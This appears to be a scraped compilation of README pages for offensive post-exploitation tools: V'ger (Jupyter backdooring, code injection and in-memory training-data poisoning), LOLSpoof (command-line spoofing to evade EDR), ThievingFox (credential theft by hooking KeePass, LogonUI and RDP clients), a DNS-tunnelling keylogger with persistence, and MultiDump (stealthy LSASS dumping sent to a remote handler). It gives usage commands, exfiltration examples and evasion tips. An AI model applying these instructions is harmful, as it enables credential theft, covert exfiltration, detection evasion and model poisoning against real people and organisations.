V'ger is an interactive command-line application for post-exploitation of authenticated Jupyter instances with a focus on AI/ML security operations.
User Stories
As a Red Teamer, you've found Jupyter credentials, but don't know what you can do with them. V'ger is organized in a format that should be intuitive for most offensive security professionals to help them understand the functionality of the target Jupyter server.
As a Red Teamer, you know that some browser-based actions will be visibile to the legitimate Jupyter users. For example, modifying tabs will appear in their workspace and commands entered in cells will be recorded to the history. V'ger decreases the likelihood of detection.
As an AI Red Teamer, you understand academic algorthmic attacks, but need a more practical execution vector. For instance, you may need to modify a large, foundational internet-scale dataset as part of a model poisoning operation. Modifying that dataset at its source may be impossible or generate undesirable auditable artifacts. with V'ger you can achieve the same objectives in-memory, a significant improvement in tradecraft.
As a Blue Teamer, you want to understand logging and visibility into a live Jupyter deployment. V'ger can help you generate repeatable artifacts for testing instrumentation and performing incident response exercises.
Usage
Initial Setup
pip install vger
vger --help
Currently, vger interactive has maximum functionality, maintaining state for discovered artifacts and recurring jobs. However, most functionality is also available by-name in non-interactive format with vger <module>. List available modules with vger --help.
Commands
Once a connection is established, users drop into a nested set of menus.
The top level menu is: - Reset: Configure a different host. - Enumerate: Utilities to learn more about the host. - Exploit: Utilities to perform direct action and manipulation of the host and artifacts. - Persist: Utilities to establish persistence mechanisms. - Export: Save output to a text file. - Quit: No one likes quitters.
These menus contain the following functionality: - List modules: Identify imported modules in target notebooks to determine what libraries are available for injected code. - Inject: Execute code in the context of the selected notebook. Code can be provided in a text editor or by specifying a local .py file. Either input is processed as a string and executed in runtime of the notebook. - Backdoor: Launch a new JupyterLab instance open to 0.0.0.0, with allow-root on a user-specified port with a user-specified password. - Check History: See ipython commands recently run in the target notebook. - Run shell command: Spawn a terminal, run the command, return the output, and delete the terminal. - List dir or get file: List directories relative to the Jupyter directory. If you don't know, start with /. - Upload file: Upload file from localhost to the target. Specify paths in the same format as List dir (relative to the Jupyter directory). Provide a full path including filename and extension. - Delete file: Delete a file. Specify paths in the same format as List dir (relative to the Jupyter directory). - Find models: Find models based on common file formats. - Download models: Download discovered models. - Snoop: Monitor notebook execution and results until timeout. - Recurring jobs: Launch/Kill recurring snippets of code silently run in the target environment.
Experimental
With pip install vger[ai] you'll get LLM generated summaries of notebooks in the target environment. These are meant to be rough translation for non-DS/AI folks to do quick triage of if (or which) notebooks are worth investigating further.
There was an inherent tradeoff on model size vs. ability and that's something I'll continue to tinker with, but hopefully this is helpful for some more traditional security users. I'd love to see folks start prompt injecting their notebooks ("these are not the droids you're looking for").
LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Why
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.
How
Prepares the spoofed command line out of the real one: lolbin.exe " " * sizeof(real arguments)
Spawns that suspended LOLBin with the spoofed command line
Gets the remote PEB address
Gets the address of RTL_USER_PROCESS_PARAMETERS struct
Gets the address of the command line unicode buffer
Overrides the fake command line with the real one
Resumes the main thread
Opsec considerations
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Build
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)
nimble install winim
Known issue
Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.
ThievingFox is a collection of post-exploitation tools to gather credentials from various password managers and windows utilities. Each module leverages a specific method of injecting into the target process, and then hooks internals functions to gather crendentials.
.NET development environment must also be installed. From Visual Studio, navigate to Tools > Get Tools And Features > Install ".NET desktop development"
Finally, python dependancies must be installed :
pip install -r client/requirements.txt
ThievingFox works with python >= 3.11
NOTE : On a Windows host, in order to use the KeePass module, msbuild must be available in the PATH. This can be achieved by running the client from within a Visual Studio Developper Powershell (Tools > Command Line > Developper Powershell)
Targets
All modules have been tested on the following Windows versions :
Windows Version
Windows Server 2022
Windows Server 2019
Windows Server 2016
Windows Server 2012R2
Windows 10
Windows 11
[!CAUTION] Modules have not been tested on other version, and are expected to not work.
Application
Injection Method
KeePass.exe
AppDomainManager Injection
KeePassXC.exe
DLL Proxying
LogonUI.exe (Windows Login Screen)
COM Hijacking
consent.exe (Windows UAC Popup)
COM Hijacking
mstsc.exe (Windows default RDP client)
COM Hijacking
RDCMan.exe (Sysinternals' RDP client)
COM Hijacking
MobaXTerm.exe (3rd party RDP client)
COM Hijacking
Usage
[!CAUTION] Although I tried to ensure that these tools do not impact the stability of the targeted applications, inline hooking and library injection are unsafe and this might result in a crash, or the application being unstable. If that were the case, using the cleanup module on the target should be enough to ensure that the next time the application is launched, no injection/hooking is performed.
ThievingFox contains 3 main modules : poison, cleanup and collect.
Poison
For each application specified in the command line parameters, the poison module retrieves the original library that is going to be hijacked (for COM hijacking and DLL proxying), compiles a library that has matches the properties of the original DLL, uploads it to the server, and modify the registry if needed to perform COM hijacking.
To speed up the process of compilation of all libraries, a cache is maintained in client/cache/.
--mstsc, --rdcman, and --mobaxterm have a specific option, respectively --mstsc-poison-hkcr, --rdcman-poison-hkcr, and --mobaxterm-poison-hkcr. If one of these options is specified, the COM hijacking will replace the registry key in the HKCR hive, meaning all users will be impacted. By default, only all currently logged in users are impacted (all users that have a HKCU hive).
--keepass and --keepassxc have specific options, --keepass-path, --keepass-share, and --keepassxc-path, --keepassxc-share, to specify where these applications are installed, if it's not the default installation path. This is not required for other applications, since COM hijacking is used.
The KeePass modules requires the Visual C++ Redistributable to be installed on the target.
Multiple applications can be specified at once, or, the --all flag can be used to target all applications.
[!IMPORTANT] Remember to clean the cache if you ever change the --tempdir parameter, since the directory name is embedded inside native DLLs.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to poison KeePass.exe --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepassxc Try to poison KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --ke epassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to poison mstsc.exe --mstsc-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for mstsc, which will also work for user that are currently not logged in (Default: False) --consent Try to poison Consent.exe --logonui Try to poison LogonUI.exe --rdcman Try to poison RDCMan.exe --rdcman-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for RDCMan, which will also work for user that are currently not logged in (Default: False) --mobaxterm Try to poison MobaXTerm.exe --mobaxterm-poison-hkcr Instead of poisonning all currently logged in users' HKCU hives, poison the HKCR hive for MobaXTerm, which will also work for user that are currently not logged in (Default: False) --all Try to poison all applications
Cleanup
For each application specified in the command line parameters, the cleanup first removes poisonning artifacts that force the target application to load the hooking library. Then, it tries to delete the library that were uploaded to the remote host.
For applications that support poisonning of both HKCU and HKCR hives, both are cleaned up regardless.
Multiple applications can be specified at once, or, the --all flag can be used to cleanup all applications.
It does not clean extracted credentials on the remote host.
[!IMPORTANT] If the targeted application is in use while the cleanup module is ran, the DLL that are dropped on the target cannot be deleted. Nonetheless, the cleanup module will revert the configuration that enables the injection, which should ensure that the next time the application is launched, no injection is performed. Files that cannot be deleted by ThievingFox are logged.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and cons ent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of the domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Try to cleanup all poisonning artifacts related to KeePass.exe --keepass-share KEEPASS_SHARE The share on which KeePass is installed (Default: c$) --keepass-path KEEPASS_PATH The path where KeePass is installed, without the share name (Default: /Program Files/KeePass Password Safe 2/) --keepassxc Try to cleanup all poisonning artifacts related to KeePassXC.exe --keepassxc-path KEEPASSXC_PATH The path where KeePassXC is installed, without the share name (Default: /Program Files/KeePassXC/) --keepassxc-share KEEPASSXC_SHARE The share on which KeePassXC is installed (Default: c$) --mstsc Try to cleanup all poisonning artifacts related to mstsc.exe --consent Try to cleanup all poisonning artifacts related to Consent.exe --logonui Try to cleanup all poisonning artifacts related to LogonUI.exe --rdcman Try to cleanup all poisonning artifacts related to RDCMan.exe --mobaxterm Try to cleanup all poisonning artifacts related to MobaXTerm.exe --all Try to cleanup all poisonning artifacts related to all applications
Collect
For each application specified on the command line parameters, the collect module retrieves output files on the remote host stored inside C:\Windows\Temp\<tempdir> corresponding to the application, and decrypts them. The files are deleted from the remote host, and retrieved data is stored in client/ouput/.
Multiple applications can be specified at once, or, the --all flag can be used to collect logs from all applications.
positional arguments: target Target machine or range [domain/]username[:password]@<IP or FQDN>[/CIDR]
options: -h, --help show this help message and exit -hashes HASHES, --hashes HASHES LM:NT hash -aesKey AESKEY, --aesKey AESKEY AES key to use for Kerberos Authentication -k Use kerberos authentication. For LogonUI, mstsc and consent modules, an anonymous NTLM authentication is performed, to retrieve the OS version. -dc-ip DC_IP, --dc-ip DC_IP IP Address of th e domain controller -no-pass, --no-pass Do not prompt for password --tempdir TEMPDIR The name of the temporary directory to use for DLLs and output (Default: ThievingFox) --keepass Collect KeePass.exe logs --keepassxc Collect KeePassXC.exe logs --mstsc Collect mstsc.exe logs --consent Collect Consent.exe logs --logonui Collect LogonUI.exe logs --rdcman Collect RDCMan.exe logs --mobaxterm Collect MobaXTerm.exe logs --all Collect logs from all applications
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
Server
Setup
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
Starting the Server
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments: ip domain
options: -h, --help show this help message and exit -p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
Registrar
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
Client
Linux
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh
# Usage: logger.sh [-options] domain # Positional Arguments: # domain: the domain to send data to # Options: # -p path: give path to log file to listen to # -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.sh
Usage: command [-options] domain Positional Arguments: domain: the domain to send data to Options: -n: number of characters to store before sending a packet
Windows
Build
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
Sending Test Requests
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
Protocol
Starting a Connection
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
Exfiltrating Data
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
Response Codes
200: OK
If the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record Requests
If the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant Connections
If the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order Packets
If the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max Connection
If the client attempts to create a connection when the max has reached, the server will respond with code 204.
Dropped Packets
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
Side Notes
Linux
Log File
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
Non-Interactive Shells
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
Windows
Repeated Requests
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
MultiDump is a post-exploitation tool written in C for dumping and extracting LSASS memory discreetly, without triggering Defender alerts, with a handler written in Python.
Blog post: https://xre0us.io/posts/multidump
MultiDump supports LSASS dump via ProcDump.exe or comsvc.dll, it offers two modes: a local mode that encrypts and stores the dump file locally, and a remote mode that sends the dump to a handler for decryption and analysis.
-p Path to save procdump.exe, use full path. Default to temp directory -l Path to save encrypted dump file, use full path. Default to current directory -r Set ip:port to connect to a remote handler --procdump Writes procdump to disk and use it to dump LSASS --nodump Disable LSASS dumping --reg Dump SAM, SECURITY and SYSTEM hives --delay Increase interval between connections to for slower network speeds -v Enable v erbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory. Examples: MultiDump.exe -l C:\Users\Public\lsass.dmp -v MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
options: -h, --help show this help message and exit -r REMOTE, --remote REMOTE Port to receive remote dump file -l LOCAL, --local LOCAL Local dump file, key needed to decrypt --sam SAM Local SAM save, key needed to decrypt --security SECURITY Local SECURITY save, key needed to decrypt --system SYSTEM Local SYSTEM save, key needed to decrypt -k KEY, --key KEY Key to decrypt local file --override-ip OVERRIDE_IP Manually specify the IP address for key generation in remote mode, for proxied connection
As with all LSASS related tools, Administrator/SeDebugPrivilege priviledges are required.
The handler depends on Pypykatz to parse the LSASS dump, and impacket to parse the registry saves. They should be installed in your enviroment. If you see the error All detection methods failed, it's likely the Pypykatz version is outdated.
By default, MultiDump uses the Comsvc.dll method and saves the encrypted dump in the current directory.
MultiDump.exe ... [i] Local Mode Selected. Writing Encrypted Dump File to Disk... [i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk. [i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
If --procdump is used, ProcDump.exe will be writtern to disk to dump LSASS.
In remote mode, MultiDump connects to the handler's listener.
./ProcDumpHandler.py -r 9001 [i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
The key is encrypted with the handler's IP and port. When MultiDump connects through a proxy, the handler should use the --override-ip option to manually specify the IP address for key generation in remote mode, ensuring decryption works correctly by matching the decryption IP with the expected IP set in MultiDump -r.
An additional option to dump the SAM, SECURITY and SYSTEM hives are available with --reg, the decryption process is the same as LSASS dumps. This is more of a convenience feature to make post exploit information gathering easier.
Building MultiDump
Open in Visual Studio, build in Release mode.
Customising MultiDump
It is recommended to customise the binary before compiling, such as changing the static strings or the RC4 key used to encrypt them, to do so, another Visual Studio project EncryptionHelper, is included. Simply change the key or strings and the output of the compiled EncryptionHelper.exe can be pasted into MultiDump.c and Common.h.
Self deletion can be toggled by uncommenting the following line in Common.h:
#define SELF_DELETION
To further evade string analysis, most of the output messages can be excluded from compiling by commenting the following line in Debug.h:
//#define DEBUG
MultiDump might get detected on Windows 10 22H2 (19045) (sort of), and I have implemented a fix for it (sort of), the investigation and implementation deserves a blog post itself: https://xre0us.io/posts/saving-lsass-from-defender/